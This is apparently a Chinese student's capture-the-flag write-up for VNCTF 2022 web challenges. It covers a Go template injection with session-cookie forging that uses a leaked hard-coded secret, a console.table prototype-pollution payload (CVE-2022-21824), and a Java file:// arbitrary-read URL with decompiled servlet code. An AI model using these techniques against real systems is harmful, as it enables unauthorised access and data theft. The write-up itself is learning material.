web
GameV4.0
纯签到题
源码里找flag
base64解码
gocalc0
非预期解:
{{.}}
查源码
flag在/flag路径,尝试去访问
然后提示flag在session中
对session进行base64解码(第二次解码如果全放进去解不出内容,要一点一点试)
预期解:
拿到源码之后根据源码写个exp
package main
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)
//go:embed template/index.html
var tpl string
//go:embed main.go
var source string
type Eval struct {
E string `json:"e" form:"e" binding:"required"`
}
func (e Eval) Result() (string, error) {
eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {
return "", err
}
t := reflect.ValueOf(result).Type().Kind()
if t == reflect.Int {
return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {
return result.(string), nil
} else {
return "", fmt.Errorf("not valid type")
}
}
func (e Eval) String() string {
res, err := e.Result()
if err != nil {
fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}
func render(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
if err != nil {
fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{
"s0uR3e": source,
}); err != nil {
fmt.Println(err)
}
}
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
render(c)
})
r.GET("/flag", func(c *gin.Context) {
session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {
session := sessions.Default(c)
var his string
if session.Get("history") == nil {
his = ""
} else {
his = session.Get("history").(string)
}
eval := Eval{}
if err := c.ShouldBind(&eval); err == nil {
his = his + eval.String() + "<br/>"
}
session.Set("history", his)
session.Save()
render(c)
})
r.Run(fmt.Sprintf(":%s", port))
}
exp:
package main
import (
_ "embed"
"fmt"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"os"
)
func main() {
port := os.Getenv("PORT")
if port == "" {
port = "8080"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {
session := sessions.Default(c)
println(session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}
这部分等学了go之后再看看,先放着
newcalc0
考点:原型污染通过 console.table 属性(低)(CVE-2022-21824)
由于 console.table() 函数的格式化逻辑,允许用户控制的输入传递给 properties 参数同时传递一个是不安全的具有至少一个属性作为第一个参数的普通对象,可以是__proto__
. 原型污染的控制非常有限,因为它只允许为对象原型的数字键分配一个空字符串。
exp: console.table([{ x : 1 }], [ "__proto__" ]);
easyJava
存在任意文件读取
读不到flag,应该是要通过调用readflag来读取flag
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/
反编译看一下源码
Secr3t.jad
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3)
// Source File Name: Secr3t.java
package util;
import java.io.*;
import org.apache.commons.lang3.RandomStringUtils;
public class Secr3t
{
private Secr3t()
{
}
public static String getKey()
{
return Key;
}
public static StringBuffer getFlag()
{
InputStream in;
BufferedReader read;
Flag = new StringBuffer();
in = null;
try
{
in = Runtime.getRuntime().exec("/readflag").getInputStream();
}
catch(IOException e)
{
e.printStackTrace();
}
read = new BufferedReader(new InputStreamReader(in));
for(String line = null; (line = read.readLine()) != null;)
Flag.append((new StringBuilder()).append(line).append("\n").toString());
IOException e;
try
{
in.close();
read.close();
}
// Misplaced declaration of an exception variable
catch(IOException e)
{
e.printStackTrace();
System.out.println("Secr3t : io exception!");
}
break MISSING_BLOCK_LABEL_176;
e;
e.printStackTrace();
try
{
in.close();
read.close();
}
// Misplaced declaration of an exception variable
catch(IOException e)
{
e.printStackTrace();
System.out.println("Secr3t : io exception!");
}
break MISSING_BLOCK_LABEL_176;
Exception exception;
exception;
try
{
in.close();
read.close();
}
catch(IOException e)
{
e.printStackTrace();
System.out.println("Secr3t : io exception!");
}
throw exception;
return Flag;
}
public static boolean check(String checkStr)
{
return "vnctf2022".equals(checkStr);
}
private static final String Key = RandomStringUtils.randomAlphanumeric(32);
private static StringBuffer Flag;
}
HelloWorldServlet.jad
package servlet;
import javax.servlet.annotation.*;
import entity.*;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;
import util.*;
import javax.servlet.*;
@WebServlet(name = "HelloServlet", urlPatterns = { "/evi1" })//比赛的时候用的jad反编译的没这块,虽然之后查日志找到了路径
public class HelloWorldServlet extends HttpServlet
{
private volatile String name;
private volatile String age;
private volatile String height;
User user;
public HelloWorldServlet() {
this.name = "m4n_q1u_666";
this.age = "666";
this.height = "180";
}
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
protected void doGet(final HttpServletRequest req, final HttpServletResponse resp) throws ServletException, IOException {
final String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
return;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
protected void doPost(final HttpServletRequest req, final HttpServletResponse resp) throws ServletException, IOException {
final String key = req.getParameter("key");
final String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
final Base64.Decoder decoder = Base64.getDecoder();
final byte[] textByte = decoder.decode(text);
final User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals((Object)u)) {
this.Response(resp, "Deserialize\u2026\u2026 Flag is " + Secr3t.getFlag().toString());
}
}
else {
this.Response(resp, "KeyError");
}
}
private void Response(final HttpServletResponse resp, final String outStr) throws IOException {
final ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
留个坑,不会了,暑假开始学java再来补(